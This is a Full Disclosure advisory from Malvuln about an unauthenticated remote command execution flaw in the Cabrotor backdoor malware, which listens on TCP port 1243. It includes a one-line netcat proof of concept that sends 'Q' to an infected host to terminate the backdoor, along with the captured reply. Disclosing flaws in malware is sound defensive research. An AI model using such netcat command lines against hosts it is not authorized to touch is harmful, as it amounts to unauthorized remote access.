full-disclosure - [FD] Backdoor.Win32.Cabrotor.10.d / Unauthenticated Remote Command Execution

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Message-ID: <CAAHK0WQ+BOdSPdJheJPYxQ83TOTbEe6zPxq1fRwo2KsXQ2smoQ@mail.gmail.com>
Date: Mon, 6 Jun 2022 22:15:42 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Cabrotor.10.d / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/40acf109fa9621eae6930ef18f804909.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Cabrotor.10.d
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 1243. Attackers who can reach
infected systems can issue commands made up of single characters E.g.
sending 'Q' will terminate the backdoor. Executing wrong or unknown
commands will result in the following server response "Comando desconocido".
Family: Cabrotor
Type: PE32
MD5: 40acf109fa9621eae6930ef18f804909
Vuln ID: MVID-2022-0612
Disclosure: 06/06/2022

Exploit/PoC:
C:\>python -c "print('Q')" | nc64.exe x.x.x.x 1243
CaBroNaToR Server 1.0
Conexion estableciada el dia 5/2/2022 a las 02:47:35 AM

Fin de conexion - 02:47:35 AM

Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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